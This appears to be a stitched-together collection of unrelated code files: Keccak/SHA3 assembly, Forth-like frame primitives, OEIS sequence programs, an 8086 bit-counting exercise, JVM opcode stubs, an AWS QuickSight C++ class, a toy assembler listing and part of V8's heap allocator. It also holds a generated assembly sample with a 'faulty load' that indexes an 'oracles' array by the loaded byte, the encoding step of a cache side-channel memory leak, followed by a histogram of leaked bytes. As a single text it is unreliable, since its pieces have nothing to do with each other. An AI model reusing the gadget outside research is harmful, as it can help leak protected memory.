mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_SHA3_absorb::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbx
push rbp
push r12
push r13
push r14
push r15
lea rdi,QWORD PTR[100+rdi]
sub rsp,232
mov r9,rsi
lea rsi,QWORD PTR[100+rsp]
not QWORD PTR[((-92))+rdi]
not QWORD PTR[((-84))+rdi]
not QWORD PTR[((-36))+rdi]
not QWORD PTR[((-4))+rdi]
not QWORD PTR[36+rdi]
not QWORD PTR[60+rdi]
lea r15,QWORD PTR[iotas]
mov QWORD PTR[((216-100))+rsi],rcx
$L$oop_absorb::
cmp rdx,rcx
jc $L$done_absorb
shr rcx,3
lea r8,QWORD PTR[((-100))+rdi]
$L$block_absorb::
mov rax,QWORD PTR[r9]
lea r9,QWORD PTR[8+r9]
xor rax,QWORD PTR[r8]
lea r8,QWORD PTR[8+r8]
sub rdx,8
mov QWORD PTR[((-8))+r8],rax
sub rcx,1
jnz $L$block_absorb
mov QWORD PTR[((200-100))+rsi],r9
mov QWORD PTR[((208-100))+rsi],rdx
call __KeccakF1600
mov r9,QWORD PTR[((200-100))+rsi]
mov rdx,QWORD PTR[((208-100))+rsi]
mov rcx,QWORD PTR[((216-100))+rsi]
jmp $L$oop_absorb
ALIGN 32
$L$done_absorb::
mov rax,rdx
not QWORD PTR[((-92))+rdi]
not QWORD PTR[((-84))+rdi]
not QWORD PTR[((-36))+rdi]
not QWORD PTR[((-4))+rdi]
not QWORD PTR[36+rdi]
not QWORD PTR[60+rdi]
add rsp,232
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_SHA3_absorb::
SHA3_absorb ENDP
PUBLIC SHA3_squeeze
ALIGN 32
SHA3_squeeze PROC PUBLIC
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov rax,rsp
$L$SEH_begin_SHA3_squeeze::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push r12
push r13
push r14
shr rcx,3
mov r8,rdi
mov r12,rsi
mov r13,rdx
mov r14,rcx
jmp $L$oop_squeeze
ALIGN 32
$L$oop_squeeze::
cmp r13,8
jb $L$tail_squeeze
mov rax,QWORD PTR[r8]
lea r8,QWORD PTR[8+r8]
mov QWORD PTR[r12],rax
lea r12,QWORD PTR[8+r12]
sub r13,8
jz $L$done_squeeze
sub rcx,1
jnz $L$oop_squeeze
call KeccakF1600
mov r8,rdi
mov rcx,r14
jmp $L$oop_squeeze
$L$tail_squeeze::
mov rsi,r8
mov rdi,r12
mov rcx,r13
DB 0f3h,0a4h
$L$done_squeeze::
pop r14
pop r13
pop r12
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_SHA3_squeeze::
SHA3_squeeze ENDP
ALIGN 256
DQ 0,0,0,0,0,0,0,0
iotas::
DQ 00000000000000001h
DQ 00000000000008082h
DQ 0800000000000808ah
DQ 08000000080008000h
DQ 0000000000000808bh
DQ 00000000080000001h
DQ 08000000080008081h
DQ 08000000000008009h
DQ 0000000000000008ah
DQ 00000000000000088h
DQ 00000000080008009h
DQ 0000000008000000ah
DQ 0000000008000808bh
DQ 0800000000000008bh
DQ 08000000000008089h
DQ 08000000000008003h
DQ 08000000000008002h
DQ 08000000000000080h
DQ 0000000000000800ah
DQ 0800000008000000ah
DQ 08000000080008081h
DQ 08000000000008080h
DQ 00000000080000001h
DQ 08000000080008008h
DB 75,101,99,99,97,107,45,49,54,48,48,32,97,98,115,111
DB 114,98,32,97,110,100,32,115,113,117,101,101,122,101,32,102
DB 111,114,32,120,56,54,95,54,52,44,32,67,82,89,80,84
DB 79,71,65,77,83,32,98,121,32,60,97,112,112,114,111,64
DB 111,112,101,110,115,115,108,46,111,114,103,62,0
.text$ ENDS
END
|
defop current_frame
pop rax
push fp
push rax
ret
defop begin_frame
pop rax
push fp
mov fp, rsp
jmp rax
defop drop_frame
pop rax
mov rsp, fp
pop fp
jmp rax
defop end_frame
mov fp, [fp]
ret
defalias pop_frame,end_frame
;;;
;;; Returns
;;;
defop drop_locals
pop rax
mov rsp, fp
jmp rax
defop continue ; end the frame, leave the stack intact, and return to caller
add rsp, ptrsize
mov eval_ip, [fp+ptrsize]
mov rax, [fp+ptrsize*2]
mov fp, [fp]
jmp rax
defop return0 ; stash ToS, drop the frame, roll stash, and exit fn
mov rsp, fp
pop fp
pop eval_ip
ret
defop return_1 ; drops an argument
mov rsp, fp
pop fp
pop eval_ip
pop rax
add rsp, ptrsize
jmp rax
defop return1
mov rax, [rsp+ptrsize]
mov rsp, fp
pop fp
pop eval_ip
pop rbx
push rax
push rbx
ret
defop return2
mov rax, [rsp+ptrsize]
mov rbx, [rsp+ptrsize*2]
mov rsp, fp
pop fp
pop eval_ip
pop rcx
push rax
push rbx
push rcx
ret
defop quit
mov rbx, [rsp+ptrsize] ; keep the ToS as C expects a return value
mov rax, [fp] ; pop frames until the parent frame is 0
cmp rax, 0
je .done
mov fp, rax
jmp quit_asm
.done:
mov rsp, fp ; enter the top most frame
pop fp
pop eval_ip
pop rax ; save return to the top frame's caller
push rbx ; return with the ToS
jmp rax
;;;
;;; Call Arguments
;;;
defop args
lea rax, [fp+ptrsize*3]
pop rbx
push rax
push rbx
ret
defop arg0
mov rax, [fp+ptrsize*3]
pop rbx
push rax
push rbx
ret
defop arg1
mov rax, [fp+ptrsize*4]
pop rbx
push rax
push rbx
ret
;;;
;;; Local data
;;;
defop locals
lea rax, [fp-ptrsize*1]
pop rbx
push rax
push rbx
ret
defop local0
mov rax, [fp-ptrsize*1]
pop rbx
push rax
push rbx
ret
|
; A271519: Let n = (2*i + 1)*2^j; then a(n) = i + j.
; 0,1,1,2,2,2,3,3,4,3,5,3,6,4,7,4,8,5,9,4,10,6,11,4,12,7,13,5,14,8,15,5,16,9,17,6,18,10,19,5,20,11,21,7,22,12,23,5,24,13,25,8,26,14,27,6,28,15,29,9,30,16,31,6
mov $2,1
lpb $0
sub $0,$2
add $1,4
gcd $2,$0
mul $2,2
lpe
div $1,4
|
assume cs:code, ds:data
data segment
;a dd 0aa00bf12h ;a= 1010 1010 0000 0000 1011 1111 0001 0010
; 5df ; 0000 0000 0000 0000 0000 0110 1101 1111
a dd 0fffffh
bmask dw ?
nbits dw 0
data ends
code segment
start:
mov ax, data
mov ds, ax
mov ax, word ptr a
mov dx, word ptr a + 2
mov cx, 16
mov si, 0 ; this is where we keep the number of 1 bits from the representation
cnt_biti_ax:
dec cx
mov bx, ax
mov bmask, 1
shl bmask, cl
and bx, bmask
cmp bx, 0
jne incr_bits_ax
jmp not_incr_ax
incr_bits_ax:
inc si
not_incr_ax:
inc cx
loop cnt_biti_ax
mov cx, 16
cnt_biti_dx: ; now count the 1 bits from the dx register
dec cx
mov bx, dx
mov bmask, 1
shl bmask, cl
and bx, bmask
cmp bx, 0
jne incr_bits_dx
jmp not_incr_dx
incr_bits_dx:
inc si
not_incr_dx:
inc cx
loop cnt_biti_dx
mov nbits, si
cmp si, 16
ja invert
jmp divide
invert:
xor ax, 0000000101010000b
xor dx, 0000001000000000b
jmp end_of_pr
divide:
mov cx, 2
divide_by_two:
sar dx, 1
rcr ax, 1
loop divide_by_two
end_of_pr:
mov word ptr a, ax
mov word ptr a + 2, dx
mov ax, 4c00h
int 21h
code ends
end start
for(int i = 0 ; i < 16 ; ++ i) {
if(ax & (1 << i)) {
++ cnt
}
}
|
default rel
section .text
_0x00_nop:
ret
_0x01_aconst_null:
ret
_0x02_lconst_m1:
ret
_0x03_iconst_0:
ret
_0x04_iconst_1:
ret
_0x05_iconst_2:
ret
_0x06_iconst_3:
ret
_0x07_iconst_4:
ret
_0x08_iconst_5:
ret
_0x09_lconst_0:
ret
_0x0a_lconst_1:
ret
_0x0b_fconst_0:
ret
_0x0c_fconst_1:
ret
_0x0d_fconst_2:
ret
_0x0e_dconst_0:
ret
_0x0f_dconst_1:
ret
|
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/quicksight/model/CreateTemplateResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#include <aws/core/utils/UnreferencedParam.h>
#include <utility>
using namespace Aws::QuickSight::Model;
using namespace Aws::Utils::Json;
using namespace Aws::Utils;
using namespace Aws;
CreateTemplateResult::CreateTemplateResult() :
m_creationStatus(ResourceStatus::NOT_SET),
m_status(0)
{
}
CreateTemplateResult::CreateTemplateResult(const Aws::AmazonWebServiceResult<JsonValue>& result) :
m_creationStatus(ResourceStatus::NOT_SET),
m_status(0)
{
*this = result;
}
CreateTemplateResult& CreateTemplateResult::operator =(const Aws::AmazonWebServiceResult<JsonValue>& result)
{
JsonView jsonValue = result.GetPayload().View();
if(jsonValue.ValueExists("Arn"))
{
m_arn = jsonValue.GetString("Arn");
}
if(jsonValue.ValueExists("VersionArn"))
{
m_versionArn = jsonValue.GetString("VersionArn");
}
if(jsonValue.ValueExists("TemplateId"))
{
m_templateId = jsonValue.GetString("TemplateId");
}
if(jsonValue.ValueExists("CreationStatus"))
{
m_creationStatus = ResourceStatusMapper::GetResourceStatusForName(jsonValue.GetString("CreationStatus"));
}
if(jsonValue.ValueExists("RequestId"))
{
m_requestId = jsonValue.GetString("RequestId");
}
m_status = static_cast<int>(result.GetResponseCode());
return *this;
}
|
; A204644: Number of (n+1) X 2 0..1 arrays with column and row pair sums b(i,j)=a(i,j)+a(i,j-1) and c(i,j)=a(i,j)+a(i-1,j) nondecreasing in column and row directions, respectively.
; 8,16,28,48,80,132,216,352,572,928,1504,2436,3944,6384,10332,16720,27056,43780,70840,114624,185468,300096,485568,785668,1271240,2056912,3328156,5385072,8713232,14098308,22811544,36909856,59721404,96631264,156352672,252983940,409336616,662320560,1071657180,1733977744,2805634928,4539612676,7345247608,11884860288,19230107900,31114968192,50345076096,81460044292,131805120392,213265164688,345070285084,558335449776,903405734864,1461741184644,2365146919512,3826888104160,6192035023676,10018923127840
mov $1,2
mov $2,3
lpb $0
sub $0,2
add $1,$2
add $2,$1
lpe
lpb $0
div $0,4
add $2,$1
lpe
mov $0,$2
sub $0,1
mul $0,4
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x43fe, %r15
nop
and %r8, %r8
mov (%r15), %r12w
nop
nop
nop
add $29090, %rax
lea addresses_normal_ht+0xddb6, %rcx
nop
nop
nop
nop
lfence
mov $0x6162636465666768, %r15
movq %r15, %xmm3
vmovups %ymm3, (%rcx)
nop
nop
and $36114, %r12
lea addresses_normal_ht+0x297e, %rsi
lea addresses_WT_ht+0x1dbde, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $86, %rcx
rep movsq
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0x1631e, %rcx
nop
nop
inc %rax
movb (%rcx), %r8b
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_UC_ht+0x897e, %rdi
nop
nop
nop
cmp %rdx, %rdx
movl $0x61626364, (%rdi)
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_D_ht+0x1dd1e, %rax
inc %rdx
vmovups (%rax), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rsi
nop
nop
nop
nop
nop
and $31449, %r15
lea addresses_D_ht+0xf146, %rsi
nop
nop
nop
and $51001, %rdi
mov $0x6162636465666768, %r8
movq %r8, %xmm3
vmovups %ymm3, (%rsi)
nop
nop
and %rcx, %rcx
lea addresses_A_ht+0x1e17e, %r8
nop
add $40542, %rsi
movl $0x61626364, (%r8)
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x17faa, %rsi
lea addresses_D_ht+0x1c80d, %rdi
nop
sub $36419, %r12
mov $70, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x56be, %rcx
clflush (%rcx)
nop
nop
nop
sub $6358, %r12
movups (%rcx), %xmm5
vpextrq $0, %xmm5, %r8
nop
xor $1885, %rax
lea addresses_D_ht+0x18362, %r12
nop
nop
nop
nop
add $10536, %rsi
movb $0x61, (%r12)
cmp $38290, %rcx
lea addresses_normal_ht+0x1be7e, %r8
nop
nop
nop
nop
inc %rsi
movl $0x61626364, (%r8)
nop
nop
xor %rax, %rax
lea addresses_normal_ht+0x1b17e, %rcx
sub %rax, %rax
movb $0x61, (%rcx)
nop
nop
dec %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %r8
push %rax
// Store
lea addresses_RW+0x19286, %r11
cmp $52583, %r14
movb $0x51, (%r11)
nop
nop
nop
nop
xor $22528, %rax
// Store
lea addresses_RW+0xb31e, %r14
inc %r10
movb $0x51, (%r14)
nop
nop
nop
nop
dec %r10
// Store
lea addresses_RW+0x13ade, %r14
nop
nop
nop
nop
nop
add $6994, %r11
movl $0x51525354, (%r14)
nop
nop
nop
xor $2421, %r13
// Store
lea addresses_PSE+0x1d57e, %r11
clflush (%r11)
nop
add $45409, %r14
mov $0x5152535455565758, %rax
movq %rax, %xmm2
movups %xmm2, (%r11)
nop
nop
nop
nop
and $60647, %r14
// Faulty Load
lea addresses_A+0x717e, %r8
nop
nop
cmp $51638, %r14
mov (%r8), %rax
lea oracles, %r8
and $0xff, %rax
shlq $12, %rax
mov (%r8,%rax,1), %rax
pop %rax
pop %r8
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 1, 'congruent': 5, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'1a': 5, 'ff': 1, 'd0': 3, 'bc': 8, '46': 2, '00': 96, '44': 54, '65': 1, 'e0': 1, 'c0': 2, '08': 11}
44 00 44 44 44 44 44 44 44 00 00 65 bc bc 00 00 00 00 00 00 00 00 08 00 44 00 00 00 00 00 08 00 44 1a 00 44 00 00 08 08 00 00 44 44 c0 44 44 44 00 44 00 00 00 44 44 44 00 00 44 44 00 08 00 00 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 08 00 00 44 00 00 44 00 c0 44 44 44 44 44 44 bc 44 bc 44 44 00 00 00 00 00 00 00 08 00 44 00 00 1a 00 00 00 00 08 d0 44 00 1a 08 00 00 44 d0 00 44 44 44 44 44 44 44 44 00 00 00 00 d0 44 1a 00 00 44 44 00 00 00 00 1a 00 00 44 00 46 44 e0 44 00 bc bc ff 00 bc 00 00 08 00 00 44 46 00 00 00 00 00 00 08 00 00 00 44 bc
*/
|
; A152895: Partial sums of A152891.
; 0,2,11,40,123,349,951,2539,6710,17645,46290,121302,317706,831920,2178173,5702734,14930181,39087979,102333945,267914065,701408480,1836311627,4807526676,12586268700,32951279748,86267570894,225851433311
lpb $0
sub $0,1
add $2,1
add $3,$2
add $2,$3
add $4,$2
add $1,$4
lpe
mov $0,$1
|
START 200
EXTRN X
MOVER AREG,=‘5’
MOVEM AREG,Y
L1 MOVER BREG,=‘2’
ORIGIN L1+3
LTORG
NEXT ADD AREG,=‘1’
SUB BREG,=‘2’
BC LT,BACK
LTORG
BACK EQU L1
ORIGIN NEXT+5
MULT CREG,=‘4’
STOP
Y DS 1
END
|
// Copyright 2011 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/v8.h"
#include "src/base/bits.h"
#include "src/base/platform/platform.h"
#include "src/full-codegen.h"
#include "src/heap/mark-compact.h"
#include "src/macro-assembler.h"
#include "src/msan.h"
#include "src/snapshot/snapshot.h"
namespace v8 {
namespace internal {
// ----------------------------------------------------------------------------
// HeapObjectIterator
HeapObjectIterator::HeapObjectIterator(PagedSpace* space) {
// You can't actually iterate over the anchor page. It is not a real page,
// just an anchor for the double linked page list. Initialize as if we have
// reached the end of the anchor page, then the first iteration will move on
// to the first page.
Initialize(space, NULL, NULL, kAllPagesInSpace, NULL);
}
HeapObjectIterator::HeapObjectIterator(PagedSpace* space,
HeapObjectCallback size_func) {
// You can't actually iterate over the anchor page. It is not a real page,
// just an anchor for the double linked page list. Initialize the current
// address and end as NULL, then the first iteration will move on
// to the first page.
Initialize(space, NULL, NULL, kAllPagesInSpace, size_func);
}
HeapObjectIterator::HeapObjectIterator(Page* page,
HeapObjectCallback size_func) {
Space* owner = page->owner();
DCHECK(owner == page->heap()->old_space() ||
owner == page->heap()->map_space() ||
owner == page->heap()->code_space());
Initialize(reinterpret_cast<PagedSpace*>(owner), page->area_start(),
page->area_end(), kOnePageOnly, size_func);
DCHECK(page->WasSwept() || page->SweepingCompleted());
}
void HeapObjectIterator::Initialize(PagedSpace* space, Address cur, Address end,
HeapObjectIterator::PageMode mode,
HeapObjectCallback size_f) {
space_ = space;
cur_addr_ = cur;
cur_end_ = end;
page_mode_ = mode;
size_func_ = size_f;
}
// We have hit the end of the page and should advance to the next block of
// objects. This happens at the end of the page.
bool HeapObjectIterator::AdvanceToNextPage() {
DCHECK(cur_addr_ == cur_end_);
if (page_mode_ == kOnePageOnly) return false;
Page* cur_page;
if (cur_addr_ == NULL) {
cur_page = space_->anchor();
} else {
cur_page = Page::FromAddress(cur_addr_ - 1);
DCHECK(cur_addr_ == cur_page->area_end());
}
cur_page = cur_page->next_page();
if (cur_page == space_->anchor()) return false;
cur_addr_ = cur_page->area_start();
cur_end_ = cur_page->area_end();
DCHECK(cur_page->WasSwept() || cur_page->SweepingCompleted());
return true;
}
// -----------------------------------------------------------------------------
// CodeRange
CodeRange::CodeRange(Isolate* isolate)
: isolate_(isolate),
code_range_(NULL),
free_list_(0),
allocation_list_(0),
current_allocation_block_index_(0),
emergency_block_() {}
bool CodeRange::SetUp(size_t requested) {
DCHECK(code_range_ == NULL);
if (requested == 0) {
// When a target requires the code range feature, we put all code objects
// in a kMaximalCodeRangeSize range of virtual address space, so that
// they can call each other with near calls.
if (kRequiresCodeRange) {
requested = kMaximalCodeRangeSize;
} else {
return true;
}
}
if (requested <= kMinimumCodeRangeSize) {
requested = kMinimumCodeRangeSize;
}
DCHECK(!kRequiresCodeRange || requested <= kMaximalCodeRangeSize);
#ifdef V8_TARGET_ARCH_MIPS64
// To use pseudo-relative jumps such as j/jal instructions which have 28-bit
// encoded immediate, the addresses have to be in range of 256Mb aligned
// region.
code_range_ = new base::VirtualMemory(requested, kMaximalCodeRangeSize);
#else
code_range_ = new base::VirtualMemory(requested);
#endif
CHECK(code_range_ != NULL);
if (!code_range_->IsReserved()) {
delete code_range_;
code_range_ = NULL;
return false;
}
// We are sure that we have mapped a block of requested addresses.
DCHECK(code_range_->size() == requested);
Address base = reinterpret_cast<Address>(code_range_->address());
// On some platforms, specifically Win64, we need to reserve some pages at
// the beginning of an executable space.
if (kReservedCodeRangePages) {
if (!code_range_->Commit(
base, kReservedCodeRangePages * base::OS::CommitPageSize(), true)) {
delete code_range_;
code_range_ = NULL;
return false;
}
base += kReservedCodeRangePages * base::OS::CommitPageSize();
}
Address aligned_base = RoundUp(base, MemoryChunk::kAlignment);
size_t size = code_range_->size() - (aligned_base - base) -
kReservedCodeRangePages * base::OS::CommitPageSize();
allocation_list_.Add(FreeBlock(aligned_base, size));
current_allocation_block_index_ = 0;
LOG(isolate_, NewEvent("CodeRange", code_range_->address(), requested));
ReserveEmergencyBlock();
return true;
}
int CodeRange::CompareFreeBlockAddress(const FreeBlock* left,
const FreeBlock* right) {
// The entire point of CodeRange is that the difference between two
// addresses in the range can be represented as a signed 32-bit int,
// so the cast is semantically correct.
return static_cast<int>(left->start - right->start);
}
bool CodeRange::GetNextAllocationBlock(size_t requested) {
for (current_allocation_block_index_++;
current_allocation_block_index_ < allocation_list_.length();
current_allocation_block_index_++) {
if (requested <= allocation_list_[current_allocation_block_index_].size) {
return true; // Found a large enough allocation block.
}
}
// Sort and merge the free blocks on the free list and the allocation list.
free_list_.AddAll(allocation_list_);
allocation_list_.Clear();
free_list_.Sort(&CompareFreeBlockAddress);
for (int i = 0; i < free_list_.length();) {
FreeBlock merged = free_list_[i];
i++;
// Add adjacent free blocks to the current merged block.
while (i < free_list_.length() &&
free_list_[i].start == merged.start + merged.size) {
merged.size += free_list_[i].size;
i++;
}
if (merged.size > 0) {
allocation_list_.Add(merged);
}
}
free_list_.Clear();
for (current_allocation_block_index_ = 0;
current_allocation_block_index_ < allocation_list_.length();
current_allocation_block_index_++) {
if (requested <= allocation_list_[current_allocation_block_index_].size) {
return true; // Found a large enough allocation block.
}
}
current_allocation_block_index_ = 0;
// Code range is full or too fragmented.
return false;
}
Address CodeRange::AllocateRawMemory(const size_t requested_size,
const size_t commit_size,
size_t* allocated) {
DCHECK(commit_size <= requested_size);
FreeBlock current;
if (!ReserveBlock(requested_size, ¤t)) {
*allocated = 0;
return NULL;
}
*allocated = current.size;
DCHECK(*allocated <= current.size);
DCHECK(IsAddressAligned(current.start, MemoryChunk::kAlignment));
if (!isolate_->memory_allocator()->CommitExecutableMemory(
code_range_, current.start, commit_size, *allocated)) {
*allocated = 0;
ReleaseBlock(¤t);
return NULL;
}
return current.start;
}
bool CodeRange::CommitRawMemory(Address start, size_t length) {
return isolate_->memory_allocator()->CommitMemory(start, length, EXECUTABLE);
}
bool CodeRange::UncommitRawMemory(Address start, size_t length) {
return code_range_->Uncommit(start, length);
}
void CodeRange::FreeRawMemory(Address address, size_t length) {
DCHECK(IsAddressAligned(address, MemoryChunk::kAlignment));
free_list_.Add(FreeBlock(address, length));
code_range_->Uncommit(address, length);
}
void CodeRange::TearDown() {
delete code_range_; // Frees all memory in the virtual memory range.
code_range_ = NULL;
free_list_.Free();
allocation_list_.Free();
}
bool CodeRange::ReserveBlock(const size_t requested_size, FreeBlock* block) {
DCHECK(allocation_list_.length() == 0 ||
current_allocation_block_index_ < allocation_list_.length());
if (allocation_list_.length() == 0 ||
requested_size > allocation_list_[current_allocation_block_index_].size) {
// Find an allocation block large enough.
if (!GetNextAllocationBlock(requested_size)) return false;
}
// Commit the requested memory at the start of the current allocation block.
size_t aligned_requested = RoundUp(requested_size, MemoryChunk::kAlignment);
*block = allocation_list_[current_allocation_block_index_];
// Don't leave a small free block, useless for a large object or chunk.
if (aligned_requested < (block->size - Page::kPageSize)) {
block->size = aligned_requested;
}
DCHECK(IsAddressAligned(block->start, MemoryChunk::kAlignment));
allocation_list_[current_allocation_block_index_].start += block->size;
allocation_list_[current_allocation_block_index_].size -= block->size;
return true;
}
void CodeRange::ReleaseBlock(const FreeBlock* block) { free_list_.Add(*block); }
void CodeRange::ReserveEmergencyBlock() {
const size_t requested_size = MemoryAllocator::CodePageAreaSize();
if (emergency_block_.size == 0) {
ReserveBlock(requested_size, &emergency_block_);
} else {
DCHECK(emergency_block_.size >= requested_size);
}
}
void CodeRange::ReleaseEmergencyBlock() {
if (emergency_block_.size != 0) {
ReleaseBlock(&emergency_block_);
emergency_block_.size = 0;
}
}
// -----------------------------------------------------------------------------
// MemoryAllocator
//
MemoryAllocator::MemoryAllocator(Isolate* isolate)
: isolate_(isolate),
capacity_(0),
capacity_executable_(0),
size_(0),
size_executable_(0),
lowest_ever_allocated_(reinterpret_cast<void*>(-1)),
highest_ever_allocated_(reinterpret_cast<void*>(0)) {}
bool MemoryAllocator::SetUp(intptr_t capacity, intptr_t capacity_executable) {
capacity_ = RoundUp(capacity, Page::kPageSize);
capacity_executable_ = RoundUp(capacity_executable, Page::kPageSize);
DCHECK_GE(capacity_, capacity_executable_);
size_ = 0;
size_executable_ = 0;
return true;
}
void MemoryAllocator::TearDown() {
// Check that spaces were torn down before MemoryAllocator.
DCHECK(size_ == 0);
// TODO(gc) this will be true again when we fix FreeMemory.
// DCHECK(size_executable_ == 0);
capacity_ = 0;
capacity_executable_ = 0;
}
bool MemoryAllocator::CommitMemory(Address base, size_t size,
Executability executable) {
if (!base::VirtualMemory::CommitRegion(base, size,
executable == EXECUTABLE)) {
return false;
}
UpdateAllocatedSpaceLimits(base, base + size);
return true;
}
void MemoryAllocator::FreeMemory(base::VirtualMemory* reservation,
Executability executable) {
// TODO(gc) make code_range part of memory allocator?
DCHECK(reservation->IsReserved());
size_t size = reservation->size();
DCHECK(size_ >= size);
size_ -= size;
isolate_->counters()->memory_allocated()->Decrement(static_cast<int>(size));
if (executable == EXECUTABLE) {
DCHECK(size_executable_ >= size);
size_executable_ -= size;
}
// Code which is part of the code-range does not have its own VirtualMemory.
DCHECK(isolate_->code_range() == NULL ||
!isolate_->code_range()->contains(
static_cast<Address>(reservation->address())));
DCHECK(executable == NOT_EXECUTABLE || isolate_->code_range() == NULL ||
!isolate_->code_range()->valid() || size <= Page::kPageSize);
reservation->Release();
}
void MemoryAllocator::FreeMemory(Address base, size_t size,
Executability executable) {
// TODO(gc) make code_range part of memory allocator?
DCHECK(size_ >= size);
size_ -= size;
isolate_->counters()->memory_allocated()->Decrement(static_cast<int>(size));
if (executable == EXECUTABLE) {
DCHECK(size_executable_ >= size);
size_executable_ -= size;
}
if (isolate_->code_range() != NULL &&
isolate_->code_range()->contains(static_cast<Address>(base))) {
DCHECK(executable == EXECUTABLE);
isolate_->code_range()->FreeRawMemory(base, size);
} else {
DCHECK(executable == NOT_EXECUTABLE || isolate_->code_range() == NULL ||
!isolate_->code_range()->valid());
bool result = base::VirtualMemory::ReleaseRegion(base, size);
USE(result);
DCHECK(result);
}
}
Address MemoryAllocator::ReserveAlignedMemory(size_t size, size_t alignment,
base::VirtualMemory* controller) {
base::VirtualMemory reservation(size, alignment);
if (!reservation.IsReserved()) return NULL;
size_ += reservation.size();
Address base =
RoundUp(static_cast<Address>(reservation.address()), alignment);
controller->TakeControl(&reservation);
return base;
}
Address MemoryAllocator::AllocateAlignedMemory(
size_t reserve_size, size_t commit_size, size_t alignment,
Executability executable, base::VirtualMemory* controller) {
DCHECK(commit_size <= reserve_size);
base::VirtualMemory reservation;
Address base = ReserveAlignedMemory(reserve_size, alignment, &reservation);
if (base == NULL) return NULL;
if (executable == EXECUTABLE) {
if (!CommitExecutableMemory(&reservation, base, commit_size,
reserve_size)) {
base = NULL;
}
} else {
if (reservation.Commit(base, commit_size, false)) {
UpdateAllocatedSpaceLimits(base, base + commit_size);
} else {
base = NULL;
}
}
if (base == NULL) {
// Failed to commit the body. Release the mapping and any partially
// commited regions inside it.
reservation.Release();
return NULL;
}
controller->TakeControl(&reservation);
return base;
}
void Page::InitializeAsAnchor(PagedSpace* owner) {
set_owner(owner);
set_prev_page(this);
set_next_page(this);
}
